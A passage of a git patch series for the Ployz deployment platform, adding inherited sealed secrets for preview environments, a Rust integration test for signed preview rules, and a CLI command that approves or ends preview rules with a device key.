 /// Every Service's environment and every Config's files, resolved from compiled
 /// Saved State against the frozen producers, for a Deploy of Environment
 /// `environment`. Nothing opens a secret here. One sealed for `environment` reaches
-/// its Service as a Sealed part; one sealed for another Environment, or Legacy, is
+/// its Service as a Sealed part, and so does one sealed for `inherit`, naming it; one
+/// sealed for another Environment, or Legacy, is
 /// Not set, and what a Legacy one reaches is listed. A variable a secret without a
 /// value, or a broken reference, reaches is left out; in a file either is empty.
 ///
@@ -1112,8 +1113,9 @@ pub(crate) enum LegacyReader {
 pub(crate) fn resolve(
     compiled: &CompiledEnvironmentIntent,
     environment: &str,
+    inherit: Option<uuid::Uuid>,
 ) -> Result<Resolved, RpcError> {
-    let mut resolved = resolve_values(compiled, environment)?;
+    let mut resolved = resolve_values(compiled, environment, inherit)?;
     resolved.legacy = legacy_reads(compiled);
     Ok(resolved)
 }
@@ -1121,6 +1123,7 @@ pub(crate) fn resolve(
 fn resolve_values(
     compiled: &CompiledEnvironmentIntent,
     environment: &str,
+    inherit: Option<uuid::Uuid>,
 ) -> Result<Resolved, RpcError> {
     let environment = uuid::Uuid::parse_str(environment).ok();
     let stored = |sealed: Option<&SecretCiphertext>| match sealed {
@@ -1128,6 +1131,12 @@ fn resolve_values(
             Some(id) if client.sealed_for == id => Ok(ResolverValue::Sealed {
                 value: client.value.clone(),
             }),
+            _ if inherit == Some(client.sealed_for) => Ok(ResolverValue::Sealed {
+                value: ployz_core::SealedValue {
+                    environment: Some(client.sealed_for),
+                    ..client.value.clone()
+                },
+            }),
             _ => Ok(ResolverValue::NotSet),
         },
         Some(SecretCiphertext::Legacy(_)) => Ok(ResolverValue::NotSet),
@@ -1622,7 +1631,7 @@ mod tests {
                 },
             }],
         };
-        let error = resolve(&compiled, &environment.to_string())
+        let error = resolve(&compiled, &environment.to_string(), None)
             .map(|_| ())
             .unwrap_err();
         assert_eq!(error.code, ployz_core::RpcErrorCode::InvalidArgument);
@@ -1674,7 +1683,7 @@ mod tests {
                 },
             }],
         };
-        let mut resolved = resolve(&compiled, "env").unwrap();
+        let mut resolved = resolve(&compiled, "env", None).unwrap();
         assert!(
             resolved.legacy.is_empty(),
             "web is no Service here, as a live value"
diff --git a/core/crates/ployz-store/tests/preview_rule.rs b/core/crates/ployz-store/tests/preview_rule.rs
new file mode 100644
index 0000000000..41ca2cd1ef
--- /dev/null
+++ b/core/crates/ployz-store/tests/preview_rule.rs
@@ -0,0 +1,472 @@
+//! Previews under a preview rule: two previews of one rule differ only in the fields a
+//! Server derives, so the template a Device signs once admits every later preview.
+
+use std::collections::BTreeMap;
+
+use ployz_core::ServiceName;
+use ployz_core::authority::preview::{PreviewKey, preview_namespace, template};
+use ployz_core::authority::rule::{
+    Builder, PolicyCache, RuleEvent, RuleSource, Runner, template as rule_template,
+};
+use ployz_core::authority::{
+    BuildPolicy, CommitSha, PreviewRule, PreviewService, RuleId, Signed, Signer, SignerKey,
+    Timestamp,
+};
+use ployz_core::config::ServiceGitAccess;
+use ployz_store::{
+    Actor, ApprovePreviewRule, AuthorizedRepository, Change, ClusterDomain, ClusterDomainStatus,
+    ConfigStore, CreateGitService, CreateProject, CreateVolume, DomainEvidence, Edit,
+    EnvironmentId, EnvironmentName, EnvironmentRef, Mount, OrganizationId, PlanPreviewRule,
+    PreviewRuleView, ProjectId, ProjectName, PullRequest, RuleQuery, ServiceLineageId, SetPrPlan,
+    SettingPath, SystemEvent, Trusted, VolumeId, VolumeName, Written,
+};
+use serde_json::{Value, json};
+
+mod backend;
+
+const HEAD: &str = "1111111111111111111111111111111111111111";
+const RULE: [u8; 16] = [0x5a; 16];
+
+fn uuid(n: u8) -> String {
+    format!("00000000-0000-4000-8000-0000000000{n:02}")
+}
+
+fn at(environment: &str) -> EnvironmentRef {
+    EnvironmentRef {
+        project: None,
+        environment: Some(EnvironmentName::parse(environment).unwrap()),
+    }
+}
+
+fn trusted() -> Trusted {
+    Trusted {
+        repositories: vec![AuthorizedRepository {
+            repository: backend::repo_name("acme/web"),
+            repository_id: backend::repo_id(11),
+            access: ServiceGitAccess::GithubInstallation { installation_id: 7 },
+            default_branch: backend::git_branch("main"),
+            branches: Vec::new(),
+        }],
+        domains: DomainEvidence {
+            cluster_domain: Some(ClusterDomain {
+                name: ployz_store::Hostname::parse("acme.ployz.app").unwrap(),
+                status: ClusterDomainStatus::Ready,
+            }),
+            certificates: Some(Vec::new()),
+            ingress_addresses: vec!["203.0.113.7".into()],
+            ..DomainEvidence::default()
+        },
+        servers: Some(1),
+        ..backend::members()
+    }
+}
+
+fn set(store: &ConfigStore, who: &Actor, path: &str, value: Value) {
+    store
+        .write_trusted(
+            who,
+            &Edit {
+                environment: at("production"),
+                expect: None,
+                changes: vec![Change::Set {
+                    path: SettingPath::parse(path).unwrap(),
+                    value,
+                }],
+            },
+            &trusted(),
+        )
+        .unwrap();
+}
+
+/// A production Environment with two Services of `acme/web`, a Volume `web` writes, a
+/// Service from an image, a Config, a sealed value, a Generated Value, a generated
+/// domain and a pre-deploy command, deployed once, and a PR plan that copies the
+/// Volume and seeds it.
+fn production(store: &ConfigStore, who: &Actor) {
+    store
+        .write(
+            who,
+            &CreateProject {
+                id: ProjectId::parse(uuid(1)).unwrap(),
+                name: ProjectName::parse("shop").unwrap(),
+                default_environment: EnvironmentId::parse(uuid(2)).unwrap(),
+            },
+        )
+        .unwrap();
+    for (n, name) in [(3, "web"), (4, "api")] {
+        store
+            .write_trusted(
+                who,
+                &CreateGitService {
+                    id: ServiceLineageId::parse(uuid(n)).unwrap(),
+                    environment: EnvironmentRef::default(),
+                    name: ServiceName::parse(name).unwrap(),
+                    repository: backend::repo_name("acme/web"),
+                    branch: None,
+                },
+                &trusted(),
+            )
+            .unwrap();
+    }
+    store
+        .write(
+            who,
+            &CreateVolume {
+                shared_writes: false,
+                storage_locked: false,
+                restored_from: None,
+                storage: ployz_core::config::VolumeKind::Docker {},
+                id: VolumeId::parse(uuid(5)).unwrap(),
+                environment: EnvironmentRef::default(),
+                name: VolumeName::parse("data").unwrap(),
+                mounts: vec![Mount {
+                    service: ServiceName::parse("web").unwrap(),
+                    path: "/data".into(),
+                }],
+            },
+        )
+        .unwrap();
+    store
+        .write(
+            who,
+            &ployz_store::CreateService {
+                id: ServiceLineageId::parse(uuid(6)).unwrap(),
+                environment: EnvironmentRef::default(),
+                name: ServiceName::parse("db").unwrap(),
+                image: Some("postgres:17".into()),
+                template: None,
+            },
+        )
+        .unwrap();
+    store
+        .write(
+            who,
+            &ployz_store::CreateConfig {
+                id: ployz_store::ConfigId::parse(uuid(7)).unwrap(),
+                environment: EnvironmentRef::default(),
+                name: ployz_core::ConfigName::parse("conf").unwrap(),
+                mounts: vec![ployz_store::ConfigMountAt {
+                    service: ServiceName::parse("web").unwrap(),
+                    dir: "/etc/app".into(),
+                }],
+            },
+        )
+        .unwrap();
+    store
+        .write(
+            who,
+            &ployz_store::PutConfigFile {
+                environment: EnvironmentRef::default(),
+                config: ployz_core::ConfigName::parse("conf").unwrap(),
+                file: ployz_core::ConfigFileName::parse("app.yml").unwrap(),
+                content: "db: ${{ db.PLOYZ_PRIVATE_DOMAIN }}\nmode: ${{ web.MODE }}".into(),
+                mode: None,
+                uid: None,
+                gid: None,
+            },
+        )
+        .unwrap();
+    set(
+        store,
+        who,
+        "web.env.DB",
+        json!("${{ db.PLOYZ_PRIVATE_DOMAIN }}"),
+    );
+    set(store, who, "web.env.MODE", json!("prod"));
+    set(
+        store,
+        who,
+        "web.env.API",
+        json!("${{ api.PLOYZ_PRIVATE_DOMAIN }}"),
+    );
+    set(
+        store,
+        who,
+        "web.env.TOKEN",
+        backend::sealed_secret(&uuid(2), &uuid(3), "TOKEN", 1),
+    );
+    set(
+        store,
+        who,
+        "web.env.GEN",
+        json!("${{ secret(16, \"a-z\") }}"),
+    );
+    set(store, who, "web.preDeployCommand", json!("migrate"));
+    set(store, who, "api.replicas", json!(2));
+    store
+        .write_trusted(
+            who,
+            &ployz_store::AddDomain {
+                environment: EnvironmentRef::default(),
+                service: ServiceName::parse("web").unwrap(),
+                hostname: None,
+                prefix: None,
+                port: None,
+            },
+            &trusted(),
+        )
+        .unwrap();
+    let deployment = ployz_store::DeploymentId::parse(uuid(90)).unwrap();
+    store
+        .write_trusted(
+            who,
+            &ployz_store::Admit::Deploy(ployz_store::Deploy {
+                id: deployment.clone(),
+                environment: EnvironmentRef::default(),
+                services: Vec::new(),
+                version: None,
+                upload: None,
+                accept_volume_loss: Vec::new(),
+                message: None,
+                prune: false,
+                no_prune: false,
+                approval: None,
+            }),
+            &trusted(),
+        )
+        .unwrap();
+    backend::run(store, &deployment);
+    store
+        .write(
+            who,
+            &SetPrPlan {
+                project: None,
+                repository: backend::repo_name("acme/web"),
+                enabled: Some(true),
+                start_from: Some(EnvironmentName::parse("production").unwrap()),
+                copy: Some(vec![ployz_store::NodeName::parse("volumes.data").unwrap()]),
+                setup: Some(vec![ployz_store::SetupCommand {
+                    service: ServiceName::parse("web").unwrap(),
+                    command: "seed".into(),
+                }]),
+                remove_on_close: None,
+                include_bots: None,
+            },
+        )
+        .unwrap();
+}
+
+fn plan(store: &ConfigStore, who: &Actor) -> PreviewRuleView {
+    store
+        .write_trusted(
+            who,
+            &PlanPreviewRule {
+                environment: at("production"),
+                repository_id: 11,
+                rule: RuleId::from_bytes(RULE),
+            },
+            &trusted(),
+        )
+        .unwrap()
+}
+
+/// The preview rule a Device signs over `view`: every Service built from the
+/// repository, each with the templates of the rehearsed preview.
+fn rule_over(view: &PreviewRuleView, signer: &Signer) -> PreviewRule {
+    let mut services: Vec<PreviewService> = view
+        .sources
+        .iter()
+        .map(|source| {
+            let spec = view
+                .target
+                .iter()
+                .find(|spec| spec.name == source.service)
+                .unwrap();
+            let mut service = PreviewService {
+                name: source.service.clone(),
+                template: ployz_core::authority::PayloadDigest::parse(&"0".repeat(64)).unwrap(),
+                setup: None,
+                policy: BuildPolicy::derive(
+                    &source.root_dir,
+                    &source.build,
+                    spec,
+                    ["linux/amd64".to_owned()].into(),
+                    PolicyCache::Off,
+                ),
+                secrets: None,
+                inherit: view
+                    .inherited
+                    .get(&source.service)
+                    .cloned()
+                    .unwrap_or_default(),
+                generated: view
+                    .generated
+                    .get(&source.service)
+                    .cloned()
+                    .unwrap_or_default(),
+            };
+            service.template = template(spec, &view.sample, &service).unwrap();
+            service.setup = view
+                .setup
+                .iter()
+                .find(|setup| setup.name == source.service)
+                .map(|setup| template(setup, &view.sample, &service).unwrap());
+            service
+        })
+        .collect();
+    services.sort_by(|a, b| a.name.cmp(&b.name));
+    services.dedup_by(|a, b| a.name == b.name);
+    PreviewRule {
+        cluster: ployz_core::SealingPublicKey::from_bytes([9; 32]),
+        rule: RuleId::from_bytes(RULE),
+        generation: 1,
+        machines: Vec::new(),
+        parent: view.namespace.clone(),
+        parent_id: uuid::Uuid::parse_str(view.environment.id.as_str()).unwrap(),
+        domain: view.domain.clone().unwrap(),
+        source: RuleSource {
+            repository_id: 11,
+            owner_id: 1,
+            repository: "acme/web".to_owned(),
+            branch: "main".to_owned(),
+            workflow: ".github/workflows/ployz-build.yml".to_owned(),
+            events: vec![RuleEvent::Push, RuleEvent::WorkflowDispatch],
+            builder: Builder {
+                r#ref: format!("Ployz-test/build/.github/workflows/build.yml@{HEAD}"),
+                sha: CommitSha::parse(HEAD).unwrap(),
+            },
+            runner: Runner::GithubHosted,
+        },
+        trusted: vec![backend::ada().get()],
+        services,
+        issued_at: Timestamp::from_millis(1_000).unwrap(),
+        ended: false,
+        signer: SignerKey::Device(signer.public().into()),
+    }
+}
+
+fn open_pull_request(store: &ConfigStore, who: &Actor, number: u64, branch: &str) {
+    let written = store
+        .system(
+            &who.organization,
+            &SystemEvent::PullRequest(PullRequest {
+                repository_id: backend::repo_id(11),
+                number: backend::pr_number(number),
+                title: "A change".into(),
+                author: "ada".into(),
+                author_id: Some(backend::ada()),
+                bot: false,
+                head_branch: backend::git_branch(branch),
+                head_repository_id: Some(backend::repo_id(11)),
+                head: backend::sha(HEAD),
+                target_branch: backend::git_branch("main"),
+                commits: 1,
+                open: true,
+                merge_commit: None,
+                target_head: None,
+                updated: ployz_store::GithubTimestamp::parse("2026-09-29T10:00:00Z").unwrap(),
+            }),
+            &trusted(),
+        )
+        .unwrap();
+    assert!(
+        matches!(&written, Written::Automated(automated) if !automated.admitted.is_empty()),
+        "{written:?}"
+    );
+}
+
+/// Each rule Service's template in Environment `environment`, a preview of `branch`.
+fn templates(
+    store: &ConfigStore,
+    who: &Actor,
+    rule: &PreviewRule,
+    environment: &str,
+    branch: &str,
+) -> BTreeMap<ServiceName, ployz_core::authority::PayloadDigest> {
+    let view = store
+        .read_trusted(
+            who,
+            &RuleQuery {
+                environment: at(environment),
+            },
+            &trusted(),
+        )
+        .unwrap();
+    let derived = preview_namespace(rule.rule, &PreviewKey::Branch(branch.to_owned()));
+    assert_eq!(
+        view.namespace, derived,
+        "{environment} runs in its derived Namespace"
+    );
+    rule.services
+        .iter()
+        .map(|service| {
+            let spec = view
+                .target
+                .iter()
+                .find(|spec| spec.name == service.name)
+                .unwrap();
+            (
+                service.name.clone(),
+                template(spec, &derived, service).unwrap(),
+            )
+        })
+        .collect()
+}
+
+#[test]
+fn two_previews_of_one_rule_differ_only_in_derived_fields() {
+    let store = backend::open();
+    let who = Actor::system(OrganizationId::parse("org").unwrap());
+    production(&store, &who);
+    let signer = Signer::from_seed(&[3; 32]);
+    let view = plan(&store, &who);
+    assert_eq!(
+        view.sample,
+        preview_namespace(
+            RuleId::from_bytes(RULE),
+            &PreviewKey::Branch("ployz-preview-sample".into())
+        )
+    );
+    let rule = rule_over(&view, &signer);
+    let web = rule.service(&ServiceName::parse("web").unwrap()).unwrap();
+    assert!(web.inherit.contains("TOKEN"), "{:?}", web.inherit);
+    assert!(web.generated.contains_key("GEN"), "{:?}", web.generated);
+    assert!(
+        web.setup.is_some(),
+        "the seed runs on a preview's first Deployment"
+    );
+    store
+        .write_trusted(
+            &who,
+            &ApprovePreviewRule {
+                environment: at("production"),
+                rule: Box::new(Signed::sign(&rule, &signer).unwrap()),
+            },
+            &trusted(),
+        )
+        .unwrap();
+    open_pull_request(&store, &who, 5, "search");
+    open_pull_request(&store, &who, 6, "billing");
+    let five = templates(&store, &who, &rule, "pr-5", "search");
+    let six = templates(&store, &who, &rule, "pr-6", "billing");
+    assert_eq!(five, six, "two previews of one rule share every template");
+    for service in &rule.services {
+        let digest = *five.get(&service.name).unwrap();
+        assert!(
+            digest == service.template || Some(digest) == service.setup,
+            "{} lowers to what the rule approves",
+            service.name
+        );
+    }
+    // The Machine's own check of the automatic deploy rule's template, which keeps the
+    // Namespace literal, tells the previews apart.
+    let literal = |environment: &str| {
+        let view = store
+            .read_trusted(
+                &who,
+                &RuleQuery {
+                    environment: at(environment),
+                },
+                &trusted(),
+            )
+            .unwrap();
+        let spec = view
+            .target
+            .iter()
+            .find(|spec| spec.name.as_str() == "web")
+            .unwrap()
+            .clone();
+        rule_template(&spec, &view.namespace).unwrap()
+    };
+    assert_ne!(literal("pr-5"), literal("pr-6"));
+}
diff --git a/dashboard/src/db/organization-ownership.postgres.test.ts b/dashboard/src/db/organization-ownership.postgres.test.ts
index 956d4e1c62..092b7e9b28 100644
--- a/dashboard/src/db/organization-ownership.postgres.test.ts
+++ b/dashboard/src/db/organization-ownership.postgres.test.ts
@@ -62,6 +62,7 @@ const organizationOwnedWithoutChangeLog = {
   config_build_receipt: "Private build evidence only a Deployment's runner reads at claim; no view reads it, so it needs no change log.",
   config_branch: "The GitHub branch heads the Store's automation compares from; no view reads them, so they need no change log.",
   config_auto_deploy_rule: "Each Environment's signed automatic deploy rule, which the Store relays with a push's Deployment for Servers to check; no view reads it, so it needs no change log.",
+  config_preview_rule: "Each Environment's signed preview rule, which the Store relays with a preview's Deployment for Servers to check; no view reads it, so it needs no change log.",
   config_removal_mark: "The Store's record of removals under way, read by its sweep; what a removal does shows in the Environment and Deployment rows it admits or deletes, so it needs no change log.",
   agent_threads: "One member's private sidebar conversation, read only through the agent chat route; no view reads it, so it needs no change log.",
   agent_runs: "A sidebar turn's run record, read only by its own conversation; no view reads it, so it needs no change log.",

From 6d8ac017a27a804203bf5030cb3a8683785a5d65 Mon Sep 17 00:00:00 2001
From: Nick Potts <github@nickpotts.com.au>
Date: Tue, 10 Nov 2026 16:03:59 +0000
Subject: [PATCH 5/8] Approve and end a preview rule from the CLI

ployz github preview approve rehearses a preview of the environment, prints
what every preview runs, reads and shares from it, refuses shared mounts
without --share-mounts, and signs the rule with the device key. end signs
the rule's last generation. The user docs describe previews on servers
that enforce device approval.
---
 .../ployz/src/handlers/github_preview.rs      | 483 ++++++++++++++++++
 core/crates/ployz/src/handlers/github_rule.rs |  14 +-
 core/crates/ployz/src/handlers/mod.rs         |   1 +
 core/crates/ployz/src/handlers/verbs.rs       |  24 +-
 .../machine/local_machine/preview_deploy.rs   |   6 +-
 .../user/environments/preview-environments.md |  64 +++
 docs/user/services/variables.md               |   4 +
 7 files changed, 584 insertions(+), 12 deletions(-)
 create mode 100644 core/crates/ployz/src/handlers/github_preview.rs

diff --git a/core/crates/ployz/src/handlers/github_preview.rs b/core/crates/ployz/src/handlers/github_preview.rs
new file mode 100644
index 0000000000..c531980c3d
--- /dev/null
+++ b/core/crates/ployz/src/handlers/github_preview.rs
@@ -0,0 +1,483 @@
+//! `ployz github preview`: a Device's standing approval of previews of an Environment,
+//! so a Cluster whose Servers enforce device approval deploys each trusted pull
+//! request's preview with no prompt.
+//!
+//! Approve asks Cloud to rehearse opening a preview, shows the person what every
+//! preview will run and what it shares with the Environment, and signs a rule with this
+//! CLI's Device key. Each Server derives a preview's Namespace and hostnames itself and
+//! checks the rule, the builder's GitHub tokens and the settings before it runs
+//! anything.
+
+use std::collections::BTreeSet;
+
+use clap::{Arg, ArgAction, ArgMatches, Command};
+use ployz_core::authority::preview::{secrets_digest, template};
+use ployz_core::authority::rule::{PolicyCache, RuleEvent, RuleSource, Runner};
+use ployz_core::authority::{
+    BuildPolicy, PreviewRule, PreviewService, RuleId, Signed, SignerKey, Timestamp,
+};
+use ployz_core::{RpcErrorCode, SealedRecord, ServiceName};
+use ployz_store::{ApprovePreviewRule, PlanPreviewRule, PreviewRuleView, RuleQuery};
+use serde::Serialize;
+
+use super::github_rule::{WORKFLOW, builder, enforcing, joined, owner, settings, signer};
+use super::store::{self, Store};
+use super::{Error, leaf_matches};
+use crate::cli::value;
+
+pub(super) fn group(command: Command) -> Command {
+    command.about("Deploy previews of pull requests on servers that enforce device approval")
+}
+
+pub(super) fn approve_command(command: Command) -> Command {
+    store::scoped(command)
+        .about("Approve previews of pull requests that change these services")
+        .long_about(
+            "Sign a preview rule with this device's key: a pull request from the repository by \
+             an account you trust opens a preview with the settings shown, built by the pinned \
+             builder, with no prompt. Each preview gets its own namespace and URLs, which your \
+             servers work out themselves. A change to those settings stops previews until you \
+             approve again.",
+        )
+        .arg(
+            Arg::new("service")
+                .required(true)
+                .action(ArgAction::Append)
+                .value_name("SERVICE")
+                .help("A service that builds from GitHub"),
+        )
+        .arg(
+            value("trust", None)
+                .action(ArgAction::Append)
+                .value_name("GITHUB_ID")
+                .help(
+                    "A GitHub account ID whose pull requests open a preview without review \
+                     [default: your organization's members]",
+                ),
+        )
+        .arg(
+            Arg::new("share-mounts")
+                .long("share-mounts")
+                .action(ArgAction::SetTrue)
+                .help("Let previews mount this environment's volumes they don't copy"),
+        )
+        .arg(
+            value("builder", None).value_name("WORKFLOW@REF").help(
+                "Another builder's reusable workflow, as GitHub names it in job_workflow_ref",
+            ),
+        )
+        .arg(
+            value("builder-sha", None)
+                .value_name("SHA")
+                .help("That builder's commit. Give it with --builder"),
+        )
+        .arg(
+            value("platform", None)
+                .value_name("PLATFORM")
+                .help("What GitHub builds for [default: linux/amd64]"),
+        )
+}
+
+pub(super) fn end_command(command: Command) -> Command {
+    store::scoped(command)
+        .about("Stop opening previews automatically")
+        .long_about(
+            "Sign the preview rule's last generation with this device's key. Your servers refuse \
+             every build and deploy under the rule from then on.",
+        )
+}
+
+/// What the command did, for `--json`.
+#[derive(Serialize)]
+struct Approved<'a> {
+    rule: RuleId,
+    generation: u64,
+    ended: bool,
+    repository: &'a str,
+    domain: &'a str,
+    trusted: &'a [u64],
+    services: Vec<&'a ServiceName>,
+}
+
+pub(super) fn approve(root: &ArgMatches) -> Result<(), Error> {
+    let matches = leaf_matches(root);
+    let signer = signer(root)?;
+    let names: Vec<ServiceName> = matches
+        .get_many::<String>("service")
+        .into_iter()
+        .flatten()
+        .map(|name| {
+            ServiceName::parse(name.as_str())
+                .map_err(|_| Error::usage(format!("{name} isn't a service name")))
+        })
+        .collect::<Result<_, _>>()?;
+    let trust: Vec<u64> = matches
+        .get_many::<String>("trust")
+        .into_iter()
+        .flatten()
+        .map(|id| {
+            id.parse()
+                .map_err(|_| Error::usage(format!("{id} isn't a GitHub account ID")))
+        })
+        .collect::<Result<_, _>>()?;
+    let builder = builder(matches)?;
+    let platform = matches
+        .get_one::<String>("platform")
+        .cloned()
+        .unwrap_or_else(|| "linux/amd64".to_owned());
+    let store = store::store(root)?;
+    let environment = store::environment(matches)?;
+    let enforcing = enforcing(root)?;
+    let saved = store.read(&RuleQuery {
+        environment: environment.clone(),
+    })?;
+    let (repository, branch, repository_id) = one_repository(&saved.sources, &names)?;
+    let owner = owner(root, &repository, repository_id)?;
+    // A plan's templates hold no Namespace, so any rule ID rehearses the same preview.
+    let view = store.write(&PlanPreviewRule {
+        environment: environment.clone(),
+        repository_id,
+        rule: RuleId::from_bytes(*uuid::Uuid::new_v4().as_bytes()),
+    })?;
+    let domain = view.domain.clone().ok_or_else(|| {
+        Error::coded(
+            RpcErrorCode::Conflict,
+            "Previews need your organization's generated domain. Add a domain to a service, \
+             then approve again.",
+        )
+    })?;
+    let shared: Vec<&ServiceName> = names
+        .iter()
+        .filter(|name| view.shared.contains_key(*name))
+        .collect();
+    if !shared.is_empty() && !matches.get_flag("share-mounts") {
+        return Err(Error::coded(
+            RpcErrorCode::Conflict,
+            format!(
+                "Previews of {} would mount this environment's volumes, not copies of their own. \
+                 Copy those volumes in the PR plan, or approve again with --share-mounts.",
+                shared
+                    .iter()
+                    .map(|name| name.as_str())
+                    .collect::<Vec<_>>()
+                    .join(", ")
+            ),
+        ));
+    }
+    let mut services = Vec::new();
+    for name in &names {
+        services.push(preview_service(&view, name, &platform)?);
+    }
+    services.sort_by(|left, right| left.name.cmp(&right.name));
+    let (id, generation) = next(&view);
+    let mut trusted = if trust.is_empty() {
+        view.members.clone()
+    } else {
+        trust
+    };
+    trusted.sort_unstable();
+    trusted.dedup();
+    let rule = PreviewRule {
+        cluster: enforcing.cluster,
+        rule: id,
+        generation,
+        machines: enforcing.machines,
+        parent: view.namespace.clone(),
+        parent_id: uuid::Uuid::parse_str(view.environment.id.as_str()).map_err(Error::command)?,
+        domain: domain.clone(),
+        source: RuleSource {
+            repository_id,
+            owner_id: owner,
+            repository: repository.clone(),
+            branch,
+            workflow: WORKFLOW.to_owned(),
+            events: vec![RuleEvent::Push, RuleEvent::WorkflowDispatch],
+            builder,
+            runner: Runner::GithubHosted,
+        },
+        trusted,
+        services,
+        issued_at: Timestamp::now(),
+        ended: false,
+        signer: SignerKey::Device(signer.public().into()),
+    };
+    show(&view, &rule, &names);
+    keep(&store, environment, &rule, &signer)?;
+    crate::ui::stream(format_args!(
+        "Approved. Pull requests to {repository} by the accounts shown now open a preview of {}.",
+        joined(&names)
+    ));
+    crate::ui::emit(&Approved {
+        rule: rule.rule,
+        generation: rule.generation,
+        ended: false,
+        repository: &repository,
+        domain: &domain,
+        trusted: &rule.trusted,
+        services: names.iter().collect(),
+    })?;
+    Ok(())
+}
+
+pub(super) fn end(root: &ArgMatches) -> Result<(), Error> {
+    let matches = leaf_matches(root);
+    let signer = signer(root)?;
+    let store = store::store(root)?;
+    let environment = store::environment(matches)?;
+    let saved = store.read(&RuleQuery {
+        environment: environment.clone(),
+    })?;
+    let Some(source) = saved.sources.first() else {
+        return Err(not_found(&saved.environment.name));
+    };
+    let view = store.write(&PlanPreviewRule {
+        environment: environment.clone(),
+        repository_id: source.repository_id,
+        rule: RuleId::from_bytes(*uuid::Uuid::new_v4().as_bytes()),
+    })?;
+    let Some(kept) = view.rule.as_ref().and_then(|rule| rule.open().ok()) else {
+        return Err(not_found(&view.environment.name));
+    };
+    if kept.ended {
+        crate::ui::stream("Previews are already off for this environment.");
+        return Ok(());
+    }
+    let rule = PreviewRule {
+        generation: kept.generation + 1,
+        issued_at: Timestamp::now(),
+        ended: true,
+        signer: SignerKey::Device(signer.public().into()),
+        ..kept
+    };
+    keep(&store, environment, &rule, &signer)?;
+    crate::ui::stream(
+        "Previews are off. Pull requests no longer open a preview on servers that enforce \
+         device approval.",
+    );
+    crate::ui::emit(&Approved {
+        rule: rule.rule,
+        generation: rule.generation,
+        ended: true,
+        repository: &rule.source.repository,
+        domain: &rule.domain,
+        trusted: &rule.trusted,
+        services: rule.services.iter().map(|service| &service.name).collect(),
+    })?;
+    Ok(())
+}
+
+fn not_found(environment: &ployz_store::EnvironmentName) -> Error {
+    Error::coded(
+        RpcErrorCode::NotFound,
+        format!("{environment} has no preview rule to end."),
+    )
+}
+
+/// The one repository every named Service builds from, and the Environment's branch,
+/// where reviewed builds run.
+fn one_repository(
+    sources: &[ployz_store::RuleSourceView],
+    names: &[ServiceName],
+) -> Result<(String, String, u64), Error> {
+    let mut found: Option<(String, String, u64)> = None;
+    for name in names {
+        let source = sources
+            .iter()
+            .find(|source| source.service == *name)
+            .ok_or_else(|| {
+                Error::coded(
+                    RpcErrorCode::InvalidArgument,
+                    format!("{name} doesn't build from GitHub, so a preview can't build it."),
+                )
+            })?;
+        let branch = source.branch.clone().ok_or_else(|| {
+            Error::coded(
+                RpcErrorCode::InvalidArgument,
+                format!("{name}'s branch is disconnected. Connect it, then approve again."),
+            )
+        })?;
+        let this = (source.repository.clone(), branch, source.repository_id);
+        match &found {
+            None => found = Some(this),
+            Some(first) if first.2 == this.2 && first.1 == this.1 => {}
+            Some((repository, ..)) => {
+                return Err(Error::coded(
+                    RpcErrorCode::InvalidArgument,
+                    format!(
+                        "A preview rule covers one repository and branch, and {name} builds from \
+                         {} at {}, not {repository}. Approve a rule for each.",
+                        this.0, this.1
+                    ),
+                ));
+            }
+        }
+    }
+    found.ok_or_else(|| Error::usage("Name at least one service"))
+}
+
+/// What the rule approves for `name` in every preview: the rehearsed preview's settings
+/// with its derived names put back, with and without its Setup Commands, the build
+/// policy, and the build's Sealed values, which only the parent's can be.
+fn preview_service(
+    view: &PreviewRuleView,
+    name: &ServiceName,
+    platform: &str,
+) -> Result<PreviewService, Error> {
+    let spec = view
+        .target
+        .iter()
+        .find(|spec| spec.name == *name)
+        .ok_or_else(|| {
+            Error::coded(
+                RpcErrorCode::NotFound,
+                format!("{name} isn't in a preview of this environment. Add it to the PR plan."),
+            )
+        })?;
+    let source = view
+        .sources
+        .iter()
+        .find(|source| source.service == *name)
+        .ok_or_else(|| {
+            Error::coded(
+                RpcErrorCode::InvalidArgument,
+                format!("{name} doesn't build from GitHub, so a preview can't build it."),
+            )
+        })?;
+    let policy = BuildPolicy::derive(
+        &source.root_dir,
+        &source.build,
+        spec,
+        BTreeSet::from([platform.to_owned()]),
+        PolicyCache::Actions,
+    );
+    let secrets = SealedRecord::of(spec)
+        .map_err(Error::command)?
+        .map(|record| secrets_digest(&record))
+        .transpose()
+        .map_err(Error::command)?;
+    let mut service = PreviewService {
+        name: name.clone(),
+        // Replaced below: a template reads only the generators and inherited keys.
+        template: ployz_core::authority::PayloadDigest::parse(&"0".repeat(64))
+            .map_err(Error::command)?,
+        setup: None,
+        policy,
+        secrets,
+        inherit: view.inherited.get(name).cloned().unwrap_or_default(),
+        generated: view.generated.get(name).cloned().unwrap_or_default(),
+    };
+    service.template = template(spec, &view.sample, &service).map_err(Error::command)?;
+    service.setup = view
+        .setup
+        .iter()
+        .find(|setup| setup.name == *name)
+        .map(|setup| template(setup, &view.sample, &service))
+        .transpose()
+        .map_err(Error::command)?;
+    Ok(service)
+}
+
+/// The kept rule's next generation, or a new rule's first.
+fn next(view: &PreviewRuleView) -> (RuleId, u64) {
+    match view.rule.as_ref().and_then(|rule| rule.open().ok()) {
+        Some(kept) => (kept.rule, kept.generation + 1),
+        None => (RuleId::from_bytes(*uuid::Uuid::new_v4().as_bytes()), 1),
+    }
+}
+
+fn keep(
+    store: &Store<'_>,
+    environment: ployz_store::EnvironmentRef,
+    rule: &PreviewRule,
+    signer: &ployz_core::authority::Signer,
+) -> Result<(), Error> {
+    let signed = Signed::sign(rule, signer).map_err(Error::command)?;
+    store.write(&ApprovePreviewRule {
+        environment,
+        rule: Box::new(signed),
+    })?;
+    Ok(())
+}
+
+/// What the person approves, before it is signed: who opens previews without review,
+/// what each preview reads from the Environment, and where it is served.
+fn show(view: &PreviewRuleView, rule: &PreviewRule, names: &[ServiceName]) {
+    let source = &rule.source;
+    crate::ui::stream(format_args!(
+        "Approving previews of {}:",
+        view.environment.name
+    ));
+    crate::ui::stream(format_args!("  repository  {}", source.repository));
+    let builder = &source.builder;
+    crate::ui::stream(format_args!("  builder     {}", builder.r#ref));
+    crate::ui::stream(format_args!(
+        "  urls        <service>-pv-<id>.{}",
+        rule.domain
+    ));
+    crate::ui::stream(format_args!(
+        "  trusted     {}",
+        match rule.trusted.is_empty() {
+            true => "nobody: every pull request needs a review".to_owned(),
+            false => rule
+                .trusted
+                .iter()
+                .map(u64::to_string)
+                .collect::<Vec<_>>()
+                .join(", "),
+        }
+    ));
+    crate::ui::stream(format_args!(
